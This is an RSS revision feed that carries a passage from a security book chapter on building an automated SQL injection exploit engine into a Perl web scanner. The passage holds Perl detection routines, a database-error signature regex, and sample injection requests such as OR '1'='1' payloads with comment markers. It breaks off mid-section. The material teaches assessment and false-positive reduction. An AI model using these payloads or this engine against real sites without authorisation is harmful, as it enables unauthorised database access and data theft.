<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/css" href="http://commons.oreilly.com/wiki/skins/common/feed.css?97"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title>Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools - Revision history</title>
		<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Automated_Exploit_Tools&amp;action=history</link>
		<description>Revision history for this page on the wiki</description>
		<language>en</language>
		<generator>MediaWiki 1.11.0</generator>
		<lastBuildDate>Tue, 21 May 2013 12:36:39 GMT</lastBuildDate>
		<item>
			<title>Docbook2Wiki: Initial conversion from Docbook</title>
			<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Automated_Exploit_Tools&amp;diff=9251&amp;oldid=prev</link>
			<description>&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;

			&lt;table style=&quot;background-color: white; color:black;&quot;&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;tr&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;←Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;Revision as of 22:54, 11 March 2008&lt;/td&gt;
			&lt;/tr&gt;
		&lt;/table&gt;</description>
			<pubDate>Tue, 11 Mar 2008 22:54:01 GMT</pubDate>			<dc:creator>Docbook2Wiki</dc:creator>			<comments>http://commons.oreilly.com/wiki/index.php/Talk:Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Automated_Exploit_Tools</comments>		</item>
		<item>
			<title>Docbook2Wiki: Initial conversion from Docbook</title>
			<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Automated_Exploit_Tools&amp;diff=8337&amp;oldid=prev</link>
			<description>&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Network Security Tools/TOC}}&lt;br /&gt;
In the world of vulnerability scanners, false positives are a common and unfortunate side effect. A false positive arises when an assessment tool reports a vulnerability even though the vulnerability doesn't exist. Most vulnerability scanners won't actually exploit the vulnerability they are attempting to detect, but this is often the most accurate method of determining whether a vulnerability truly exists. In this chapter, we look at how to build some automated exploit routines into the web application vulnerability scanner we developed in the previous chapter. This will serve both to minimize the number of false positives reported, and to save time when attempting to develop proof-of-concept exploits for demonstrating the vulnerability's impact. You should consider this chapter to be an extension of [[Network Security Tools/Modifying and Hacking Security Tools/Developing Web Assessment Tools and Scripts|Chapter 8]], so if you haven't read [[Network Security Tools/Modifying and Hacking Security Tools/Developing Web Assessment Tools and Scripts|Chapter 8]] yet, you'll want to do so before continuing.&lt;br /&gt;
&lt;br /&gt;
The primary reason for automating manual exploits is to save valuable time and effort when performing security assessments. Brute-force routines in various tools provide a good example of how automation has historically been applied to vulnerability exploits. Whether in password-cracking utilities such as John the Ripper or in a buffer overflow exploit script to obtain the correct offset value, the goal is to perform tasks that aren't feasible by hand or would take a significant amount of time to perform manually. For this chapter, we've chosen SQL injection as the vulnerability for which we will build an automated exploit engine. SQL injection is a good candidate for automation because well-defined, methodical techniques exist for constructing a working exploit. Additionally, a successful exploit often requires numerous requests to construct the correct syntax. Adding the exploit engine also broadens our criteria for detecting potential vulnerabilities. The exploit engine discovers a larger range of vulnerabilities, and confirming whether a vulnerability actually exists eliminates false positive results reported by the tool.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Exploits ==&lt;br /&gt;
&lt;br /&gt;
As with any automation tool, you should be familiar with the process the tool attempts to automate in order to develop the tool properly. A detailed explanation of SQL injection exploits is beyond the scope of this chapter, so the rest of the text assumes you're familiar with SQL injection and typical exploits. Numerous papers have been written on the topic and you can easily obtain them by searching for &amp;quot;SQL Injection Whitepaper&amp;quot; online.&lt;br /&gt;
&lt;br /&gt;
=== Exploit Categories ===&lt;br /&gt;
&lt;br /&gt;
In general, SQL injection exploits fit into the following three categories:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;DATA READ&amp;lt;/tt&amp;gt;&lt;br /&gt;
: As the name implies, these exploits allow data to be read or extracted from the target database. These exploits can be as simple as attacks that modify the query's search criteria to return all records within the specified table (such as appending &amp;lt;tt&amp;gt;OR 1=1&amp;lt;/tt&amp;gt; to the &amp;lt;tt&amp;gt;WHERE&amp;lt;/tt&amp;gt; portion of the query). More sophisticated exploits allow the addition of a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; operator to return results of arbitrary queries along with the original application dataset. These exploits rely on standard SQL syntax, and typically succeed against most SQL-driven databases.&lt;br /&gt;
;&amp;lt;tt&amp;gt;DATA WRITE&amp;lt;/tt&amp;gt;&lt;br /&gt;
: These exploits allow data to be written to the database, most commonly using either an &amp;lt;tt&amp;gt;INSERT&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;UPDATE&amp;lt;/tt&amp;gt; query. Like the previous category, these exploits succeed on most standard SQL-driven databases.&lt;br /&gt;
;&amp;lt;tt&amp;gt;EXECUTE&amp;lt;/tt&amp;gt;&lt;br /&gt;
: These exploits are possible only with certain databases and typically execute a stored procedure or another database-specific command. The nature and extent of possible exploits vary between database servers.&lt;br /&gt;
&lt;br /&gt;
Although it would be nice to develop a &amp;quot;silver bullet&amp;quot; tool that can automate exploits against any database using any of these techniques, documenting such a tool would require far more than one chapter. In this chapter, we focus on the &amp;lt;tt&amp;gt;DATA&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;READ&amp;lt;/tt&amp;gt; exploits because these are least likely to result in damage to the underlying data and/or application. As we develop our exploit tool, we will attempt to minimize the number of database-specific strings and routines in order to make the code as flexible and extensible as possible.&lt;br /&gt;
&lt;br /&gt;
=== Exploit Techniques ===&lt;br /&gt;
&lt;br /&gt;
In addition to different categories of SQL injection exploits, there are also different exploit techniques and methodologies. Each method has benefits and drawbacks and can be performed in only certain scenarios. Our exploit engine will use the two basic techniques discussed in the next two subsections to perform exploits.&lt;br /&gt;
&lt;br /&gt;
==== Error-based SQL injection ====&lt;br /&gt;
&lt;br /&gt;
The most basic technique for exploiting SQL injection uses database error messages to determine the query's structure and to build a vulnerability exploit request. Error-based SQL injection is relatively easy to detect by the database-level error messages disclosed by the application. These error messages, when available to the attacker, are very useful when constructing a working exploit. They provide an easy aid for developing a syntactically correct exploit request. An attacker who is intimately familiar with the various error messages returned by different database servers can often obtain all the necessary information required to exploit the vulnerability through these messages. Unfortunately, due to the large number of different error messages a given database server generates, automated exploits relying on these messages are more prone to error, because even different versions of the same database server can return different messages under the same scenarios. Most commercial application-level scanners (such as SPI Dynamics' WebInspect and Sanctum's AppScan), and even the scanner we developed in the previous chapter, do a fairly good job of detecting potential error-based SQL injection points using error message signatures, but because they don't attempt to exploit the potential vulnerability, they are prone to reporting false positive results.&lt;br /&gt;
&lt;br /&gt;
==== Blind SQL injection ====&lt;br /&gt;
&lt;br /&gt;
In today's web application environment, it's common for application developers and administrators to configure web applications and servers not to return detailed error messages to end users. Even if the code doesn't properly handle exceptions, most application and web servers suppress these details and return a custom error page or message to the user. To detect and exploit SQL injection vulnerabilities in these applications, you must use a more sophisticated approach. Blind SQL injection detects general application error conditions. Subsequent requests deduce what is happening within the application code based on the presence or absence of the error condition. A series of these requests can expose virtually the same level of exploits as the error-based approach. However, few commercial application scanners effectively detect blind SQL injection points.&lt;br /&gt;
&lt;br /&gt;
== The Exploit Scanner ==&lt;br /&gt;
&lt;br /&gt;
The SQL injection scanner combines the best of both worlds by utilizing both error-based and blind SQL injection techniques in the exploit engine. The exploit engine extends the scanner written in the previous chapter, and it should be called once the scanner detects a potential SQL injection point.&lt;br /&gt;
&lt;br /&gt;
=== Exploit Logic ===&lt;br /&gt;
&lt;br /&gt;
In the previous chapter we developed a routine that inserts a single quote into each application parameter and inspects the associated response to determine if it contains a database-related error message. Although this routine detects error-based injection vulnerabilities, the new script will contain a modified routine that can also detect blind injection points using various &amp;lt;tt&amp;gt;OR 1=1&amp;lt;/tt&amp;gt; exploit strings. Once the injection point is identified, it attempts to craft a more powerful exploit that can be used to pull arbitrary data out of the database.&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query is the most common way to leverage SQL injection for arbitrary data retrieval. A successful &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; exploit must follow certain syntax rules. Specifically, it must determine how many columns are in the original SQL query (a &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; query must contain the same number of columns as the query to which it is being appended). Also, the exploit must determine the appropriate datatype contained in each column (datatypes for each column in &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; queries must be the same). Due to query variations among database servers (i.e., target tables for sample exploits, datatype conversion methods, etc.), the exploit engine needs to detect the type of database server being exploited so that it can adapt the exploit queries accordingly.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; exploit routine will employ a combination of blind SQL injection exploit techniques as well as traditional error-based techniques. The exploit steps and underlying process we will use to construct a blind &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; exploit are based on many of the techniques outlined in the &amp;quot;Blindfolded SQL Injection&amp;quot; whitepaper written by WebCohort (now Imperva). Although this approach is effective and reliable for constructing blind &amp;lt;tt&amp;gt;UNION&amp;lt;/tt&amp;gt; exploits, you cannot apply it under all circumstances.&lt;br /&gt;
&lt;br /&gt;
Because the blind approach doesn't work under all circumstances, we need to default to error-based injection techniques when the blind approach fails. The error-based approach relies on specific known database error messages returned by the application, which means we also need to be familiar with the various error messages each database server can return under these circumstances. We will use this approach only when the blind approach fails, because there is much more room for error or failure if an unexpected error message gets returned. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-FIG-1|Figure 9-1]] shows an illustration of the overall exploit logic.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-FIG-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 9-1. Visual representation of exploit logic'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_3_tt464.png|Visual representation of exploit logic]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Code ===&lt;br /&gt;
&lt;br /&gt;
Now that we have provided a general overview of the logic flow that our exploit engine will implement, we can begin writing some code. As we mentioned before, we plan to extend the scanner developed in the previous chapter so that the exploit engine gets invoked when it detects a potential SQL injection point. We start by making a copy of ''simpleScanner.pl'' and calling it ''extendedScanner.pl'' .&lt;br /&gt;
&lt;br /&gt;
The first thing we need to do is make some slight modifications to the existing code. For starters, we need to declare several variables used for testing before we move into the &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop on each input request. We do this so that we can reference these variables from within various subroutines without having to provide them as inputs to each routine. If you recall, the previous script declared a few variables and hashes before beginning any testing. Here are the original declarations:&lt;br /&gt;
&lt;br /&gt;
 my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog);&lt;br /&gt;
&lt;br /&gt;
For the extended scanner, we simply add some variables and arrays to this list. Instead of explaining what each variable or array is used for right now, we will explain each one as we use it. For now, let's go ahead and modify the preceding line of code as follows:&lt;br /&gt;
&lt;br /&gt;
 my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog, $paramRequest, $sqlVuln, &lt;br /&gt;
 $sqlOrVuln, $sqlUnionVuln, $sqlColumnVuln, $sqlDataTypeVuln, $unionExploitRequest, &lt;br /&gt;
 @dbDataTypeArray, @dtCombinations, $sqlDbType);&lt;br /&gt;
&lt;br /&gt;
Now that we have declared our new variables, let's move down to the parameter-based testing logic. You'll notice that we have declared the &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; variable in the preceding code block. This variable was declared within the &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop on each input file entry and was not within the scope of our testing subroutines. For example, when ''simpleScanner.pl'' called its various testing subroutines (such as &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt;), it passed the &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; variable to each subroutine as an input variable. In the extended scanner, all our testing subroutines inherently have access to this variable. To compensate for this, we need to modify the line where &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; was declared (within the parameter loop) to remove the &amp;lt;tt&amp;gt;my&amp;lt;/tt&amp;gt; keyword:&lt;br /&gt;
&lt;br /&gt;
      $paramRequest = $methodAndFile.&amp;quot;?&amp;quot;.$testData;&lt;br /&gt;
&lt;br /&gt;
We leave most of the main script routine from ''simpleScanner.pl'' intact, but we need to add some additional subroutine calls between the existing calls to &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;xssTest&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For discussion purposes, we provide sample request values to help you understand tests that the code is generating. You should assume the value of &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; for all examples is:&lt;br /&gt;
&lt;br /&gt;
 GET /news.jsp?id=--PLACEHOLDER--&amp;amp;view=F&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You'll recall that the scanner calls &amp;lt;tt&amp;gt;the&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; subroutine to test for a potential SQL injection point on a per-parameter basis. For reference, we have provided the original &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; routine here:&lt;br /&gt;
&lt;br /&gt;
 sub sqlTest {&lt;br /&gt;
  my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable);&lt;br /&gt;
  ($sqlRequest) = @_;&lt;br /&gt;
 &lt;br /&gt;
  # Replace the &amp;quot;---PLACEHOLDER---&amp;quot; string with our test string&lt;br /&gt;
  $sqlRequest =~ s/---PLACEHOLDER---/te'st/;&lt;br /&gt;
  # Make the request and get the response data&lt;br /&gt;
  ($sqlStatus, $sqlResults) = makeRequest($sqlRequest);&lt;br /&gt;
 &lt;br /&gt;
  # Check to see if the output matches our vulnerability signature.&lt;br /&gt;
  my $sqlRegEx = qr /(OLE DB|SQL Server|Incorrect Syntax|ODBC Driver|ORA-|SQL &lt;br /&gt;
 command not|Oracle Error Code|CFQUERY|MySQL|Sybase| DB2 |Pervasive|Microsoft &lt;br /&gt;
 Access|MySQL|CLI Driver|The string constant beginning with|does not have an &lt;br /&gt;
 ending string delimiter|JET Database Engine error)/i;&lt;br /&gt;
  if (($sqlResults =~ $sqlRegEx) &amp;amp;&amp;amp; ($oResponse !~ $sqlRegEx)) {&lt;br /&gt;
   $sqlVulnerable = 1;&lt;br /&gt;
   printReport(&amp;quot;\n\nALERT: Database Error Message Detected:\n=&amp;gt; $sqlRequest\n\n&amp;quot;);&lt;br /&gt;
  } else {&lt;br /&gt;
   $sqlVulnerable = 0;&lt;br /&gt;
  }&lt;br /&gt;
  # Return the test result indicator&lt;br /&gt;
  return $sqlVulnerable;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
To properly extend the scanner to detect blind SQL injection vulnerabilities, we must modify the &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; routine to detect generic errors in addition to detailed SQL errors and to leverage the &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; variable that is now within scope for this subroutine. Let's go ahead and walk through the modified &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; routine from the top:&lt;br /&gt;
&lt;br /&gt;
 sub sqlTest {&lt;br /&gt;
  my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable)&lt;br /&gt;
  $sqlRequest = $paramRequest;&lt;br /&gt;
&lt;br /&gt;
As you can see here, we still declare the same list of local variables and we have removed the reference to the input variable. To compensate for this, we assign &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;$sqlRequest&amp;lt;/tt&amp;gt; so that subsequent routines can still access the unmodified &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; variable. Next, we continue to build and make the test request just as we did before:&lt;br /&gt;
&lt;br /&gt;
  # Replace the &amp;quot;---PLACEHOLDER---&amp;quot; string with our test string&lt;br /&gt;
  $sqlRequest =~ s/---PLACEHOLDER---/te'st/;&lt;br /&gt;
  # Make the request and get the response data&lt;br /&gt;
  ($sqlStatus, $sqlResults) = makeRequest($sqlRequest);&lt;br /&gt;
&lt;br /&gt;
Now that we have made the request, we must determine whether it has invoked an error. Things happen a bit differently here than before because now we need to detect subtler errors. To do this, first we must decide what we consider to be a &amp;quot;potential&amp;quot; SQL injection point. For starters, we know that the same error messages we were previously checking for are also the best indication of a potential SQL injection point. In addition to these &amp;quot;standard&amp;quot; database errors, we also want to detect the presence of more &amp;quot;generic&amp;quot; error conditions that could indicate a potential SQL injection point. These generic errors can come in various forms:&lt;br /&gt;
&lt;br /&gt;
* A server response code of 500 (Server Error)&lt;br /&gt;
* A generic error message such as &amp;quot;Unable to Process Request&amp;quot; or &amp;quot;An Error Has Occurred&amp;quot; in the response content&lt;br /&gt;
* A very short or empty response (such as a zero-length response)&lt;br /&gt;
&lt;br /&gt;
If we invoke a generic error we still need to do more testing to determine whether it actually is an injection point, so the goal of &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; is only to identify a potential SQL injection point, not to confirm it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For our examples, assume the application server is configured to suppress all unhandled error message details and to return a standard &amp;quot;500—Internal Server Error&amp;quot; message.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To allow for more generic error identification, all we do in this subroutine is flag the potential vulnerability, classify it based on the suspicious attribute we observe, and continue additional testing:&lt;br /&gt;
&lt;br /&gt;
  # Check to see if the output matches our vulnerability signatures.&lt;br /&gt;
  if (($sqlResults =~ $sqlRegEx) &amp;amp;&amp;amp; ($oResponse !~ $sqlRegEx)) {&lt;br /&gt;
   $sqlVulnerable = 1;&lt;br /&gt;
   printReport(&amp;quot;\n\nALERT: Database Error Message Detected:\n=&amp;gt; $sqlRequest\n\n&amp;quot;);&lt;br /&gt;
  } elsif (($sqlStatus =~ /^500/) &amp;amp;&amp;amp; ($oStatus !~ /^500/)) {&lt;br /&gt;
   $sqlVulnerable = 2;&lt;br /&gt;
   printReport(&amp;quot;\n\nALERT: 500 Error Code Detected:\n=&amp;gt; $sqlRequest\n\n&amp;quot;);&lt;br /&gt;
  } elsif (($sqlResults =~ /error|unable to|cannot/i) &amp;amp;&amp;amp; ($oResponse !~ /error|unable to/i)) {&lt;br /&gt;
   $sqlVulnerable = 3;&lt;br /&gt;
   printReport(&amp;quot;\n\nALERT: Generic Error Message Detected:\n=&amp;gt; $sqlRequest\n\n&amp;quot;);&lt;br /&gt;
  } elsif (length($sqlResults) &amp;lt; 100 &amp;amp;&amp;amp; length($oResponse) &amp;gt; 100) {&lt;br /&gt;
   $sqlVulnerable = 4;&lt;br /&gt;
   printReport(&amp;quot;\n\nALERT: Small Response Detected:\n=&amp;gt; $sqlRequest\n\n&amp;quot;);&lt;br /&gt;
  } else {&lt;br /&gt;
   $sqlVulnerable = 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
As you can see here, we use the &amp;lt;tt&amp;gt;$sqlVulnerable&amp;lt;/tt&amp;gt; variable (declared at the top of our script) to identify whether one of four possible error attributes was observed in the response. [[Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools#networkst-CHP-9-TABLE-1|Table 9-1]] provides a listing of each error attribute and its associated value (&amp;lt;tt&amp;gt;$sqlVulnerable&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-9-TABLE-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 9-1. Error attributes and their associated values'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! $sqlVulnerable !! Error classification !! Classification criteria&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 1&lt;br /&gt;
| Detailed database error || Database error message detected in the test response, but not in the original page response.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 2&lt;br /&gt;
| 500 server error || 500 status code returned in the test response, but not in the original page response.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 3&lt;br /&gt;
| Generic error message || Generic error message (string including &amp;lt;tt&amp;gt;unable&amp;lt;/tt&amp;gt;&amp;lt;tt&amp;gt;to&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;error&amp;lt;/tt&amp;gt;, or &amp;lt;tt&amp;gt;cannot&amp;lt;/tt&amp;gt;) returned in the test response, but not in the original page response.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 4&lt;br /&gt;
| Small (length) response || Test response was 100 characters or less in length, and the original page response was greater than 100 characters in length.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 0&lt;br /&gt;
| No error || None of the error classification criteria were met.&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;$sqlVulnerable&amp;lt;/tt&amp;gt; value is referenced by virtually all the other SQL exploit routines in subsequent testing. If no error attribute is observed, the variable is set to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;. In either case, the value is returned and we close the subroutine:&lt;br /&gt;
&lt;br /&gt;
  # Return the test result indicator&lt;br /&gt;
  return $sqlVulnerable;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
At this point during execution, we return to the main script body to perform additional parameter-based tests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
The value returned by &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; in our example (and now assigned to &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt;) is &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Because we are creating some new exploit routines, we need to add some logic to our main script body after the &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; routine finishes . Specifically, we check the value returned by &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; to determine if we should perform additional injection testing or simply continue with the remaining parameter-based tests. Recall that ''simpleScanner.pl'' made two consecutive parameter-based tests, one for SQL injection (&amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt;) and one for XSS (&amp;lt;tt&amp;gt;xssTest&amp;lt;/tt&amp;gt;). The original parameter-based testing calls are shown here:&lt;br /&gt;
&lt;br /&gt;
      ## Perform input validation tests&lt;br /&gt;
      my $sqlVuln = sqlTest($paramRequest);&lt;br /&gt;
      my $xssVuln = xssTest($paramRequest);&lt;br /&gt;
&lt;br /&gt;
For our extended scanner, we need to include some additional logic between the two parameter testing subroutine calls. Because we modified &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; to not accept an input variable (as &amp;lt;tt&amp;gt;$paramRequest&amp;lt;/tt&amp;gt; is now within scope for the subroutine), we modify the call to not pass an input variable:&lt;br /&gt;
&lt;br /&gt;
      ## Perform input validation tests&lt;br /&gt;
      my $sqlVuln = &amp;amp;amp;sqlTest;&lt;br /&gt;
&lt;br /&gt;
The next step is to include some logic to check the value of &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt; to determine whether additional injection testing needs to be performed. If the value of this variable is not &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, we call the first of our new exploit-related subroutines (&amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
     if ($sqlVuln != 0) {&lt;br /&gt;
      $sqlOrVuln = &amp;amp;amp;sqlOrTest;&lt;br /&gt;
&lt;br /&gt;
The purpose of the &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; subroutine is to attempt a very simple exploit to confirm the &amp;quot;exploitability&amp;quot; of the injection point we identified.&lt;br /&gt;
&lt;br /&gt;
==== sqlOrTest subroutine ====&lt;br /&gt;
&lt;br /&gt;
We mentioned before that one of the simplest data read exploits appends &amp;lt;tt&amp;gt;OR 1=1&amp;lt;/tt&amp;gt; to the end of the original query to alter the &amp;lt;tt&amp;gt;WHERE&amp;lt;/tt&amp;gt; criteria used by the query. For example, consider the following vulnerable code:&lt;br /&gt;
&lt;br /&gt;
 Sql = &amp;quot;SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CATID_ID=&lt;br /&gt;
   (SELECT CAT_ID FROM NEWS WHERE NEWS.NEWS_ID='&amp;quot; + request.getQueryString(&amp;quot;id&amp;quot;) + &amp;quot;')&lt;br /&gt;
    AND NEWS.ACTIVE='Y'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;id&amp;lt;/tt&amp;gt; request parameter is inserted within the query to return specific records based on the parameter value. The following request, when made by our web scanner, invokes an error that our scanner should recognize:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Request: http://www.myserver.com/news.jsp?id=te'st&amp;amp;view=F&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application server is configured to return detailed error messages, the error should be recognized by &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt; and the &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt; variable is assigned a value of &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;. If the application server is configured to suppress detailed error messages, or if the application is coded to handle errors gracefully, hopefully one of our generic error criteria is met and the &amp;lt;tt&amp;gt;$sqlVuln&amp;lt;/tt&amp;gt; variable is assigned a value of &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt;, or &amp;lt;tt&amp;gt;4&amp;lt;/tt&amp;gt;. The goal of the &amp;lt;tt&amp;gt;sqlOrTest&amp;lt;/tt&amp;gt; routine is to make an exploit request that results in the absence of the error condition originally detected by &amp;lt;tt&amp;gt;sqlTest&amp;lt;/tt&amp;gt;. Consider the following request to the page in the previous example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Request: http://www.myserver.com/news.jsp?id=1')%20OR%20 ('1'='1&amp;amp;view=F&lt;br /&gt;
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=&lt;br /&gt;
  (SELECT CAT_ID FROM NEWS WHERE NEWS_ID='1') OR ('1'='1') AND ACTIVE='Y'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This request would result in the execution of a well-formed query against the application database. Because the query is well-formed, we would expect it to run successfully and not result in any type of error. Depending on how the page logic is constructed, it could display all the news stories contained within the table (because several records are likely to be returned by the query) or it might return only the first record contained in the dataset (if the page is expecting only a single record, it most likely would not loop through the entire dataset). The important point here is that in either case, the query runs successfully and does not result in an application error.&lt;br /&gt;
&lt;br /&gt;
To automate an exploit for the preceding scenario, our exploit engine inserts several different &amp;lt;tt&amp;gt;OR 1=1&amp;lt;/tt&amp;gt; test strings in an attempt to make the application execute a well-formed query. The script knows whether the exploit was successful, because the response generated by a successful exploit request should not contain an error. Note that the previously shown exploit string does not include a trailing single quote after the last &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; because the application appends a single quote onto the end of the original query (along with some additional &amp;lt;tt&amp;gt;WHERE&amp;lt;/tt&amp;gt; criteria). Although this exploit string creates a well-formed query, we should also keep in mind that many database servers support the double-hyphen (&amp;lt;tt&amp;gt;--&amp;lt;/tt&amp;gt;) comment marker, which can also be appended to the end of an injection exploit string. As we mentioned before, utilizing the double hyphen allows for greater flexibility in developing a working exploit because any trailing SQL code appended by the application after our injected data is effectively ignored. For instance, consider the same example from before, but with the following request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Request:  http://www.myserver.com/news.jsp?id=1')%20OR%20'1'='1'--&amp;amp;view=F&lt;br /&gt;
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=&lt;br /&gt;
  (SELECT CAT_ID FROM NEWS WHERE NEWS_ID=' 1')%20OR%20'1'='1'--') AND ACTIVE='Y'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
